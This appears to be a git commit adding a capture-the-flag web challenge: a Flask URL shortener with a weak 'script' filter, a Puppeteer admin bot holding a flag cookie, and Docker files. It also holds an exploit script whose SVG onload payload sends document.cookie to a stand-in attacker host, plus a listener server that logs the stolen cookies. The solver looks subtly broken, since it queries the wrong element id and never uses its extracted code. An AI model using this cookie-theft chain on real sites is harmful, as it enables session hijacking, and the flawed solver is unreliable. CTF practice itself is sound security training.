updating
This commit is contained in:
1
catthegray25/ezpz/dist-oops/.python-version
Normal file
1
catthegray25/ezpz/dist-oops/.python-version
Normal file
@@ -0,0 +1 @@
|
||||
3.12
|
||||
0
catthegray25/ezpz/dist-oops/README.md
Normal file
0
catthegray25/ezpz/dist-oops/README.md
Normal file
6
catthegray25/ezpz/dist-oops/admin/Dockerfile
Normal file
6
catthegray25/ezpz/dist-oops/admin/Dockerfile
Normal file
@@ -0,0 +1,6 @@
|
||||
FROM ghcr.io/puppeteer/puppeteer:latest
|
||||
|
||||
WORKDIR /home/pptruser/
|
||||
COPY bot.js .
|
||||
|
||||
CMD ["node", "bot.js"]
|
||||
64
catthegray25/ezpz/dist-oops/admin/bot.js
Normal file
64
catthegray25/ezpz/dist-oops/admin/bot.js
Normal file
@@ -0,0 +1,64 @@
|
||||
const puppeteer = require('puppeteer')
|
||||
const net = require('net')
|
||||
|
||||
const BASE_URL = process.env.BASE_URL || 'http://web-oops-app:5000/'
|
||||
const FLAG = process.env.FLAG || 'flag{test_flag}'
|
||||
|
||||
const browserPool = []
|
||||
|
||||
const getBrowser = async () => {
|
||||
if (browserPool.length > 0) {
|
||||
return browserPool.pop()
|
||||
}
|
||||
return await puppeteer.launch({
|
||||
headless: true,
|
||||
args: ['--js-flags=--jitless', '--no-sandbox', '--disable-setuid-sandbox']
|
||||
})
|
||||
}
|
||||
|
||||
const returnBrowser = (browser) => {
|
||||
browserPool.push(browser)
|
||||
}
|
||||
|
||||
const visitSubmission = async (id) => {
|
||||
if (!id.match(/^[0-9a-zA-Z]{6}$/)) {
|
||||
return
|
||||
}
|
||||
const browser = await getBrowser()
|
||||
const page = await browser.newPage()
|
||||
const hostname = new URL(BASE_URL).hostname
|
||||
await page.setCookie({
|
||||
name: 'admin_flag',
|
||||
value: FLAG,
|
||||
domain: hostname,
|
||||
path: '/',
|
||||
httpOnly: false,
|
||||
secure: false
|
||||
})
|
||||
try {
|
||||
await page.goto(BASE_URL + id, { waitUntil: 'networkidle2', timeout: 5000 })
|
||||
}
|
||||
catch (e) {
|
||||
console.log(e)
|
||||
}
|
||||
await page.close()
|
||||
returnBrowser(browser)
|
||||
}
|
||||
|
||||
setInterval(() => {
|
||||
while (browserPool.length > 0) {
|
||||
const browser = browserPool.pop()
|
||||
browser.close()
|
||||
}
|
||||
}, 5 * 60 * 1000)
|
||||
|
||||
const server = net.createServer((socket) => {
|
||||
socket.on('data', async (data) => {
|
||||
const id = data.toString()
|
||||
await visitSubmission(id)
|
||||
})
|
||||
})
|
||||
|
||||
server.listen(3001, () => {
|
||||
console.log('Listening on port 3001')
|
||||
})
|
||||
11
catthegray25/ezpz/dist-oops/app/Dockerfile
Normal file
11
catthegray25/ezpz/dist-oops/app/Dockerfile
Normal file
@@ -0,0 +1,11 @@
|
||||
FROM python:3.13-slim
|
||||
# Copy files
|
||||
COPY . .
|
||||
|
||||
# Install requirements
|
||||
RUN pip3 install -r requirements.txt
|
||||
|
||||
# Expose port
|
||||
EXPOSE 5000
|
||||
|
||||
CMD ["gunicorn", "-w", "8", "--bind", "0.0.0.0:5000", "--log-level", "debug", "app:app"]
|
||||
103
catthegray25/ezpz/dist-oops/app/app.py
Normal file
103
catthegray25/ezpz/dist-oops/app/app.py
Normal file
@@ -0,0 +1,103 @@
|
||||
from flask import Flask, render_template, request, redirect, url_for, jsonify
|
||||
import sqlite3
|
||||
import string
|
||||
import random
|
||||
import os
|
||||
import socket
|
||||
|
||||
ADMIN_HOST = "web-oops-admin"
|
||||
ADMIN_PORT = 3001
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
|
||||
|
||||
# Database setup
|
||||
def init_db():
|
||||
conn = sqlite3.connect('urls.db')
|
||||
c = conn.cursor()
|
||||
c.execute('''CREATE TABLE IF NOT EXISTS urls
|
||||
(id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
original_url TEXT NOT NULL,
|
||||
short_code TEXT UNIQUE NOT NULL,
|
||||
clicks INTEGER DEFAULT 0,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)''')
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
def generate_short_code(length=6):
|
||||
characters = string.ascii_letters + string.digits
|
||||
return ''.join(random.choice(characters) for _ in range(length))
|
||||
|
||||
def get_db_connection():
|
||||
conn = sqlite3.connect('urls.db')
|
||||
conn.row_factory = sqlite3.Row
|
||||
return conn
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def index():
|
||||
message = None
|
||||
shortened_url = None
|
||||
|
||||
if request.method == 'POST':
|
||||
original_url = request.form['original_url']
|
||||
|
||||
|
||||
url = original_url.lower()
|
||||
while "script" in url:
|
||||
url = url.replace("script", "")
|
||||
|
||||
# Generate unique short code
|
||||
while True:
|
||||
short_code = generate_short_code()
|
||||
conn = get_db_connection()
|
||||
existing = conn.execute('SELECT id FROM urls WHERE short_code = ?',
|
||||
(short_code,)).fetchone()
|
||||
if not existing:
|
||||
break
|
||||
conn.close()
|
||||
|
||||
# Save to database
|
||||
conn = get_db_connection()
|
||||
conn.execute('INSERT INTO urls (original_url, short_code) VALUES (?, ?)',
|
||||
(original_url, short_code))
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
shortened_url = request.host_url + short_code
|
||||
message = "URL shortened successfully!"
|
||||
|
||||
return render_template("index.html",
|
||||
message=message,
|
||||
shortened_url=shortened_url)
|
||||
|
||||
@app.post('/report')
|
||||
def report():
|
||||
submit_id = request.form["submit_id"]
|
||||
submit_id = submit_id.split("/")[-1]
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((ADMIN_HOST, ADMIN_PORT))
|
||||
s.sendall(submit_id.encode())
|
||||
s.close()
|
||||
return render_template("index.html",
|
||||
report_message="Reported successfully.")
|
||||
|
||||
|
||||
@app.route('/<short_code>')
|
||||
def redirect_url(short_code):
|
||||
conn = get_db_connection()
|
||||
url_data = conn.execute('SELECT original_url FROM urls WHERE short_code = ?',
|
||||
(short_code,)).fetchone()
|
||||
|
||||
if url_data:
|
||||
# Increment click counter
|
||||
conn.execute('UPDATE urls SET clicks = clicks + 1 WHERE short_code = ?',
|
||||
(short_code,))
|
||||
conn.commit()
|
||||
conn.close()
|
||||
return render_template("redir.html", url=url_data["original_url"]), 200
|
||||
else:
|
||||
conn.close()
|
||||
return render_template("not_found.html"), 404
|
||||
|
||||
init_db()
|
||||
2
catthegray25/ezpz/dist-oops/app/requirements.txt
Normal file
2
catthegray25/ezpz/dist-oops/app/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
flask
|
||||
gunicorn
|
||||
165
catthegray25/ezpz/dist-oops/app/templates/index.html
Normal file
165
catthegray25/ezpz/dist-oops/app/templates/index.html
Normal file
@@ -0,0 +1,165 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>URL Shortener</title>
|
||||
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
min-height: 100vh;
|
||||
}
|
||||
.card {
|
||||
border: none;
|
||||
border-radius: 15px;
|
||||
box-shadow: 0 10px 30px rgba(0,0,0,0.2);
|
||||
}
|
||||
.btn-primary {
|
||||
background: linear-gradient(45deg, #667eea, #764ba2);
|
||||
border: none;
|
||||
border-radius: 25px;
|
||||
}
|
||||
.btn-primary:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(0,0,0,0.3);
|
||||
}
|
||||
.form-control {
|
||||
border-radius: 25px;
|
||||
border: 2px solid #e9ecef;
|
||||
}
|
||||
.form-control:focus {
|
||||
border-color: #667eea;
|
||||
box-shadow: 0 0 0 0.2rem rgba(102, 126, 234, 0.25);
|
||||
}
|
||||
.url-item {
|
||||
background: rgba(255,255,255,0.1);
|
||||
border-radius: 10px;
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
.url-item:hover {
|
||||
background: rgba(255,255,255,0.2);
|
||||
transform: translateY(-2px);
|
||||
}
|
||||
.copy-btn {
|
||||
border-radius: 20px;
|
||||
}
|
||||
.stats-badge {
|
||||
background: rgba(255,255,255,0.2);
|
||||
color: white;
|
||||
border-radius: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container mt-5">
|
||||
<div class="row justify-content-center">
|
||||
<div class="col-md-8">
|
||||
<div class="card">
|
||||
<div class="card-body p-5">
|
||||
<h1 class="text-center mb-4">
|
||||
<i class="fas fa-link text-primary"></i>
|
||||
URL Shortener
|
||||
</h1>
|
||||
|
||||
{% if message %}
|
||||
<div class="alert alert-success alert-dismissible fade show" role="alert">
|
||||
<i class="fas fa-check-circle"></i> {{ message }}
|
||||
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<form method="POST" action="{{ url_for('index') }}">
|
||||
<div class="input-group mb-3">
|
||||
<span class="input-group-text">
|
||||
<i class="fas fa-globe"></i>
|
||||
</span>
|
||||
<input type="url" class="form-control" name="original_url"
|
||||
placeholder="Enter your long URL here..." required>
|
||||
<button class="btn btn-primary px-4" type="submit">
|
||||
<i class="fas fa-compress-alt"></i> Shorten
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
{% if shortened_url %}
|
||||
<div class="alert alert-info">
|
||||
<h5><i class="fas fa-magic"></i> Your shortened URL:</h5>
|
||||
<div class="input-group">
|
||||
<input type="text" class="form-control" value="{{ shortened_url }}"
|
||||
id="shortenedUrl" readonly>
|
||||
<button class="btn btn-outline-primary copy-btn" type="button"
|
||||
onclick="copyToClipboard()">
|
||||
<i class="fas fa-copy"></i> Copy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="container mt-5">
|
||||
<div class="row justify-content-center">
|
||||
<div class="col-md-8">
|
||||
<div class="card">
|
||||
<div class="card-body p-5">
|
||||
<h1 class="text-center mb-4">
|
||||
<i class="fas fa-flag text-primary"></i>
|
||||
Report URL
|
||||
</h1>
|
||||
|
||||
{% if report_message %}
|
||||
<div class="alert alert-success alert-dismissible fade show" role="alert">
|
||||
<i class="fas fa-check-circle"></i> {{ report_message }}
|
||||
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<form method="POST" action="{{ url_for('report') }}">
|
||||
<div class="input-group mb-3">
|
||||
<span class="input-group-text">
|
||||
<i class="fas fa-globe"></i>
|
||||
</span>
|
||||
<input type="url" class="form-control" name="submit_id"
|
||||
placeholder="Enter the sus URL here..." required>
|
||||
<button class="btn btn-primary px-4" type="submit">
|
||||
<i class="fas fa-hammer"></i> Report
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
|
||||
<script>
|
||||
function copyToClipboard(text) {
|
||||
const textToCopy = text || document.getElementById('shortenedUrl').value;
|
||||
navigator.clipboard.writeText(textToCopy).then(function() {
|
||||
// Show success feedback
|
||||
const btn = event.target.closest('button');
|
||||
const originalHTML = btn.innerHTML;
|
||||
btn.innerHTML = '<i class="fas fa-check"></i> Copied!';
|
||||
btn.classList.remove('btn-outline-primary');
|
||||
btn.classList.add('btn-success');
|
||||
|
||||
setTimeout(() => {
|
||||
btn.innerHTML = originalHTML;
|
||||
btn.classList.remove('btn-success');
|
||||
btn.classList.add('btn-outline-primary');
|
||||
}, 2000);
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
25
catthegray25/ezpz/dist-oops/app/templates/not_found.html
Normal file
25
catthegray25/ezpz/dist-oops/app/templates/not_found.html
Normal file
@@ -0,0 +1,25 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>URL Not Found</title>
|
||||
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||
</head>
|
||||
<body class="bg-light">
|
||||
<div class="container mt-5">
|
||||
<div class="row justify-content-center">
|
||||
<div class="col-md-6">
|
||||
<div class="card">
|
||||
<div class="card-body text-center">
|
||||
<h1 class="text-danger">404</h1>
|
||||
<h3>URL Not Found</h3>
|
||||
<p>The shortened URL you're looking for doesn't exist.</p>
|
||||
<a href="{{ url_for('index') }}" class="btn btn-primary">
|
||||
Go Back Home
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
3
catthegray25/ezpz/dist-oops/app/templates/redir.html
Normal file
3
catthegray25/ezpz/dist-oops/app/templates/redir.html
Normal file
@@ -0,0 +1,3 @@
|
||||
<script>
|
||||
location.href = "{{url}}"
|
||||
</script>
|
||||
16
catthegray25/ezpz/dist-oops/compose.yaml
Normal file
16
catthegray25/ezpz/dist-oops/compose.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
services:
|
||||
challenge:
|
||||
container_name: web-oops-app
|
||||
build:
|
||||
context: app
|
||||
dockerfile: Dockerfile
|
||||
ports:
|
||||
- "33001:5000"
|
||||
admin:
|
||||
container_name: web-oops-admin
|
||||
build:
|
||||
context: admin
|
||||
dockerfile: Dockerfile
|
||||
restart: always
|
||||
environment:
|
||||
- FLAG=grey{fake_flag}
|
||||
25
catthegray25/ezpz/dist-oops/exploit.py
Normal file
25
catthegray25/ezpz/dist-oops/exploit.py
Normal file
@@ -0,0 +1,25 @@
|
||||
import requests
|
||||
|
||||
ATTACKER_HOST = "http://your.attacker.com/log"
|
||||
TARGET = "http://target-ctf.com"
|
||||
|
||||
# Step 1: Create a shortened URL with a malicious payload
|
||||
payload_url = f"data:text/html,<svg onload=fetch('{ATTACKER_HOST}?c='+document.cookie)>"
|
||||
|
||||
res = requests.post(f"{TARGET}/", data={"original_url": payload_url})
|
||||
assert res.ok
|
||||
print("[+] Shortened URL submitted")
|
||||
|
||||
# Step 2: Extract short code from the response
|
||||
from bs4 import BeautifulSoup
|
||||
soup = BeautifulSoup(res.text, "html.parser")
|
||||
short_link = soup.find("input", {"id": "shortened"})["value"]
|
||||
short_code = short_link.split("/")[-1]
|
||||
|
||||
# Step 3: Submit to /report endpoint
|
||||
report_res = requests.post(f"{TARGET}/report", data={"submit_id": short_link})
|
||||
if report_res.ok:
|
||||
print(f"[+] Reported to bot: {short_link}")
|
||||
else:
|
||||
print("[-] Report failed")
|
||||
|
||||
10
catthegray25/ezpz/dist-oops/malicious_server.py
Normal file
10
catthegray25/ezpz/dist-oops/malicious_server.py
Normal file
@@ -0,0 +1,10 @@
|
||||
from flask import Flask, request
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/log")
|
||||
def log():
|
||||
print(request.args.get("c"))
|
||||
return "", 204
|
||||
|
||||
app.run(host="0.0.0.0", port=8025)
|
||||
|
||||
6
catthegray25/ezpz/dist-oops/oops.session
Normal file
6
catthegray25/ezpz/dist-oops/oops.session
Normal file
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<session>
|
||||
<sessionId>1748722598281</sessionId>
|
||||
<sessionName>Untitled Session</sessionName>
|
||||
<sessionDesc/>
|
||||
</session>
|
||||
BIN
catthegray25/ezpz/dist-oops/oops.session.data
Normal file
BIN
catthegray25/ezpz/dist-oops/oops.session.data
Normal file
Binary file not shown.
BIN
catthegray25/ezpz/dist-oops/oops.session.lck
Normal file
BIN
catthegray25/ezpz/dist-oops/oops.session.lck
Normal file
Binary file not shown.
1495
catthegray25/ezpz/dist-oops/oops.session.log
Normal file
1495
catthegray25/ezpz/dist-oops/oops.session.log
Normal file
File diff suppressed because one or more lines are too long
5
catthegray25/ezpz/dist-oops/oops.session.properties
Normal file
5
catthegray25/ezpz/dist-oops/oops.session.properties
Normal file
@@ -0,0 +1,5 @@
|
||||
#HSQL Database Engine 2.7.4
|
||||
#Sat May 31 22:18:13 CEST 2025
|
||||
modified=yes
|
||||
tx_timestamp=933
|
||||
version=2.7.4
|
||||
108
catthegray25/ezpz/dist-oops/oops.session.script
Normal file
108
catthegray25/ezpz/dist-oops/oops.session.script
Normal file
@@ -0,0 +1,108 @@
|
||||
SET DATABASE UNIQUE NAME HSQLDB379AF3DEBD
|
||||
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
|
||||
SET DATABASE EVENT LOG LEVEL 0
|
||||
SET DATABASE TRANSACTION CONTROL LOCKS
|
||||
SET DATABASE DEFAULT ISOLATION LEVEL READ COMMITTED
|
||||
SET DATABASE TRANSACTION ROLLBACK ON CONFLICT TRUE
|
||||
SET DATABASE TEXT TABLE DEFAULTS ''
|
||||
SET DATABASE SQL NAMES FALSE
|
||||
SET DATABASE SQL RESTRICT EXEC FALSE
|
||||
SET DATABASE SQL REFERENCES FALSE
|
||||
SET DATABASE SQL SIZE TRUE
|
||||
SET DATABASE SQL TYPES FALSE
|
||||
SET DATABASE SQL TDC DELETE TRUE
|
||||
SET DATABASE SQL TDC UPDATE TRUE
|
||||
SET DATABASE SQL SYS INDEX NAMES FALSE
|
||||
SET DATABASE SQL CONCAT NULLS TRUE
|
||||
SET DATABASE SQL UNIQUE NULLS TRUE
|
||||
SET DATABASE SQL CONVERT TRUNCATE TRUE
|
||||
SET DATABASE SQL AVG SCALE 0
|
||||
SET DATABASE SQL DOUBLE NAN TRUE
|
||||
SET FILES WRITE DELAY 20 MILLIS
|
||||
SET FILES BACKUP INCREMENT TRUE
|
||||
SET FILES CACHE SIZE 32000
|
||||
SET FILES CACHE ROWS 50000
|
||||
SET FILES SCALE 64
|
||||
SET FILES LOB SCALE 32
|
||||
SET FILES DEFRAG 0
|
||||
SET FILES NIO TRUE
|
||||
SET FILES NIO SIZE 256
|
||||
SET FILES LOG TRUE
|
||||
SET FILES LOG SIZE 50
|
||||
SET FILES CHECK 933
|
||||
SET DATABASE COLLATION "SQL_TEXT" PAD SPACE
|
||||
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
|
||||
ALTER USER SA SET LOCAL TRUE
|
||||
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
|
||||
CREATE CACHED TABLE PUBLIC.HISTORY(HISTORYID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,SESSIONID BIGINT NOT NULL,HISTTYPE INTEGER DEFAULT 1,STATUSCODE INTEGER DEFAULT 0,TIMESENTMILLIS BIGINT DEFAULT 0,TIMEELAPSEDMILLIS INTEGER DEFAULT 0,METHOD VARCHAR(1024) DEFAULT '',URI VARCHAR(1048576) DEFAULT '',REQHEADER VARCHAR(4194304) DEFAULT '',REQBODY VARBINARY(16777216) DEFAULT X'',RESHEADER VARCHAR(4194304) DEFAULT '',RESBODY VARBINARY(16777216) DEFAULT X'',TAG VARCHAR(32768) DEFAULT '',NOTE VARCHAR(1048576) DEFAULT '',RESPONSEFROMTARGETHOST BOOLEAN DEFAULT FALSE)
|
||||
ALTER TABLE PUBLIC.HISTORY ALTER COLUMN HISTORYID RESTART WITH 1
|
||||
CREATE INDEX HISTORY_INDEX ON PUBLIC.HISTORY(URI,METHOD,REQBODY,SESSIONID,HISTTYPE,HISTORYID,STATUSCODE)
|
||||
CREATE INDEX INDEX_HISTORY_HISTTYPE ON PUBLIC.HISTORY(HISTTYPE)
|
||||
CREATE INDEX INDEX_HISTORY_SESSIONID ON PUBLIC.HISTORY(SESSIONID)
|
||||
CREATE CACHED TABLE PUBLIC.SESSION(SESSIONID BIGINT NOT NULL PRIMARY KEY,SESSIONNAME VARCHAR(32768) DEFAULT '',LASTACCESS TIMESTAMP DEFAULT LOCALTIMESTAMP NOT NULL)
|
||||
CREATE CACHED TABLE PUBLIC.ALERT(ALERTID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,SCANID INTEGER NOT NULL,PLUGINID INTEGER DEFAULT 0,ALERT VARCHAR(16777216) DEFAULT '',RISK INTEGER DEFAULT 0,RELIABILITY INTEGER DEFAULT 1,DESCRIPTION VARCHAR(16777216) DEFAULT '',URI VARCHAR(1048576) DEFAULT '',PARAM VARCHAR(32768) DEFAULT '',OTHERINFO VARCHAR(16777216) DEFAULT '',SOLUTION VARCHAR(16777216) DEFAULT '',REFERENCE VARCHAR(16777216) DEFAULT '',HISTORYID INTEGER,SOURCEHISTORYID INTEGER DEFAULT 0,ATTACK VARCHAR(32768) DEFAULT '',EVIDENCE VARCHAR(16777216) DEFAULT '',CWEID INTEGER DEFAULT -1,WASCID INTEGER DEFAULT -1,SOURCEID INTEGER DEFAULT 0,INPUT_VECTOR VARCHAR(256) DEFAULT '',ALERTREF VARCHAR(256) DEFAULT '')
|
||||
ALTER TABLE PUBLIC.ALERT ALTER COLUMN ALERTID RESTART WITH 0
|
||||
CREATE INDEX ALERT_INDEX ON PUBLIC.ALERT(SOURCEHISTORYID)
|
||||
CREATE INDEX INDEX_ALERT_SOURCEID ON PUBLIC.ALERT(SOURCEID)
|
||||
CREATE CACHED TABLE PUBLIC.SCAN(SCANID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,SESSIONID BIGINT NOT NULL,SCANNAME VARCHAR(32768) DEFAULT '',SCANTIME TIMESTAMP DEFAULT LOCALTIMESTAMP NOT NULL)
|
||||
ALTER TABLE PUBLIC.SCAN ALTER COLUMN SCANID RESTART WITH 0
|
||||
CREATE CACHED TABLE PUBLIC.CONTEXT_DATA(DATAID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,CONTEXTID INTEGER NOT NULL,TYPE INTEGER NOT NULL,DATA VARCHAR(1048576) DEFAULT '')
|
||||
ALTER TABLE PUBLIC.CONTEXT_DATA ALTER COLUMN DATAID RESTART WITH 53
|
||||
CREATE INDEX INDEX_CONTEXT_DATA_CONTEXTID ON PUBLIC.CONTEXT_DATA(CONTEXTID)
|
||||
CREATE INDEX INDEX_CONTEXT_DATA_TYPE ON PUBLIC.CONTEXT_DATA(TYPE)
|
||||
CREATE CACHED TABLE PUBLIC.PARAM(PARAMID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,SITE VARCHAR(32768) NOT NULL,TYPE VARCHAR(32768) NOT NULL,NAME VARCHAR(32768) NOT NULL,USED INTEGER NOT NULL,FLAGS VARCHAR(32768) NOT NULL,VALS VARCHAR(8388608) NOT NULL)
|
||||
ALTER TABLE PUBLIC.PARAM ALTER COLUMN PARAMID RESTART WITH 1
|
||||
CREATE CACHED TABLE PUBLIC.SESSION_URL(URLID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,TYPE INTEGER NOT NULL,URL VARCHAR(8192) DEFAULT '')
|
||||
ALTER TABLE PUBLIC.SESSION_URL ALTER COLUMN URLID RESTART WITH 1
|
||||
CREATE INDEX INDEX_SESSION_URL_TYPE_AND_URL ON PUBLIC.SESSION_URL(TYPE,URL)
|
||||
CREATE CACHED TABLE PUBLIC.TAG(TAGID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,HISTORYID BIGINT NOT NULL,TAG VARCHAR(1024) DEFAULT '')
|
||||
ALTER TABLE PUBLIC.TAG ALTER COLUMN TAGID RESTART WITH 1
|
||||
CREATE INDEX INDEX_TAG_HISTORYID_TAG ON PUBLIC.TAG(HISTORYID,TAG)
|
||||
CREATE CACHED TABLE PUBLIC.ALERT_TAG(TAG_ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,ALERT_ID BIGINT NOT NULL,KEY VARCHAR(1024) DEFAULT '' NOT NULL,VALUE VARCHAR(4000) DEFAULT '' NOT NULL)
|
||||
ALTER TABLE PUBLIC.ALERT_TAG ALTER COLUMN TAG_ID RESTART WITH 1
|
||||
CREATE INDEX ALERT_ID_INDEX ON PUBLIC.ALERT_TAG(ALERT_ID)
|
||||
CREATE CACHED TABLE PUBLIC.STRUCTURE(STRUCTUREID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL,SESSIONID BIGINT NOT NULL,PARENTID BIGINT NOT NULL,HISTORYID INTEGER,NAME VARCHAR(8192) NOT NULL,NAMEHASH BIGINT NOT NULL,URL VARCHAR(8192) NOT NULL,METHOD VARCHAR(10) NOT NULL)
|
||||
ALTER TABLE PUBLIC.STRUCTURE ALTER COLUMN STRUCTUREID RESTART WITH 1
|
||||
CREATE CACHED TABLE PUBLIC.WEBSOCKET_CHANNEL(CHANNEL_ID BIGINT PRIMARY KEY,HOST VARCHAR(255) NOT NULL,PORT INTEGER NOT NULL,URL VARCHAR(1048576) NOT NULL,START_TIMESTAMP TIMESTAMP NOT NULL,END_TIMESTAMP TIMESTAMP,HISTORY_ID INTEGER,FOREIGN KEY(HISTORY_ID) REFERENCES PUBLIC.HISTORY(HISTORYID) ON DELETE SET NULL ON UPDATE SET NULL)
|
||||
CREATE CACHED TABLE PUBLIC.WEBSOCKET_MESSAGE(MESSAGE_ID BIGINT NOT NULL,CHANNEL_ID BIGINT NOT NULL,TIMESTAMP TIMESTAMP NOT NULL,OPCODE TINYINT NOT NULL,PAYLOAD_UTF8 CLOB(16M),PAYLOAD_BYTES BLOB(16M),PAYLOAD_LENGTH BIGINT NOT NULL,IS_OUTGOING BOOLEAN NOT NULL,PRIMARY KEY(MESSAGE_ID,CHANNEL_ID),FOREIGN KEY(CHANNEL_ID) REFERENCES PUBLIC.WEBSOCKET_CHANNEL(CHANNEL_ID),CONSTRAINT WEBSOCKET_MESSAGE_PAYLOAD CHECK((PUBLIC.WEBSOCKET_MESSAGE.PAYLOAD_UTF8 IS NOT NULL) OR (PUBLIC.WEBSOCKET_MESSAGE.PAYLOAD_BYTES IS NOT NULL)))
|
||||
CREATE CACHED TABLE PUBLIC.WEBSOCKET_MESSAGE_FUZZ(FUZZ_ID BIGINT NOT NULL,MESSAGE_ID BIGINT NOT NULL,CHANNEL_ID BIGINT NOT NULL,STATE VARCHAR(50) NOT NULL,FUZZ VARCHAR(16777216) NOT NULL,PRIMARY KEY(FUZZ_ID,MESSAGE_ID,CHANNEL_ID),FOREIGN KEY(MESSAGE_ID,CHANNEL_ID) REFERENCES PUBLIC.WEBSOCKET_MESSAGE(MESSAGE_ID,CHANNEL_ID) ON DELETE CASCADE)
|
||||
CREATE CACHED TABLE PUBLIC.SOAP_WSDL(WSDL_ID INTEGER NOT NULL,SOAP_ACTION VARCHAR(4000) NOT NULL,PRIMARY KEY(WSDL_ID,SOAP_ACTION))
|
||||
CREATE CACHED TABLE PUBLIC.OPENAPI_SPECS(ID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,DEFINITION CLOB(64M) NOT NULL,TARGET VARCHAR(2048),SESSION_ID BIGINT NOT NULL,CONTEXT_ID INTEGER NOT NULL)
|
||||
ALTER TABLE PUBLIC.OPENAPI_SPECS ALTER COLUMN ID RESTART WITH 0
|
||||
CREATE MEMORY TABLE PUBLIC."AUTHHELPER_FLYWAY_SCHEMA_HISTORY"("installed_rank" INTEGER NOT NULL,"version" VARCHAR(50),"description" VARCHAR(200) NOT NULL,"type" VARCHAR(20) NOT NULL,"script" VARCHAR(1000) NOT NULL,"checksum" INTEGER,"installed_by" VARCHAR(100) NOT NULL,"installed_on" TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL,"execution_time" INTEGER NOT NULL,"success" BIT(1) NOT NULL,CONSTRAINT "AUTHHELPER_FLYWAY_SCHEMA_HISTORY_pk" PRIMARY KEY("installed_rank"))
|
||||
CREATE INDEX "AUTHHELPER_FLYWAY_SCHEMA_HISTORY_s_idx" ON PUBLIC."AUTHHELPER_FLYWAY_SCHEMA_HISTORY"("success")
|
||||
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"AUTHENTICATIONMETHOD" VARCHAR(4096) NOT NULL,"CONTEXT" VARCHAR(4096) NOT NULL,"USER" VARCHAR(4096) NOT NULL)
|
||||
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC" ALTER COLUMN "ID" RESTART WITH 0
|
||||
CREATE CACHED TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP"("CREATETIMESTAMP" TIMESTAMP,"ID" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY,"DIAGNOSTICID" BIGINT NOT NULL,"NUMBER" BIGINT NOT NULL,"URL" VARCHAR(4096) NOT NULL,"DESCRIPTION" VARCHAR(4096) NOT NULL,"WEBELEMENTID" BIGINT)
|
||||
ALTER TABLE PUBLIC."AUTHHELPER_DIAGNOSTIC_STEP" ALTER COLUMN "ID" RESTART WITH 0
|
||||
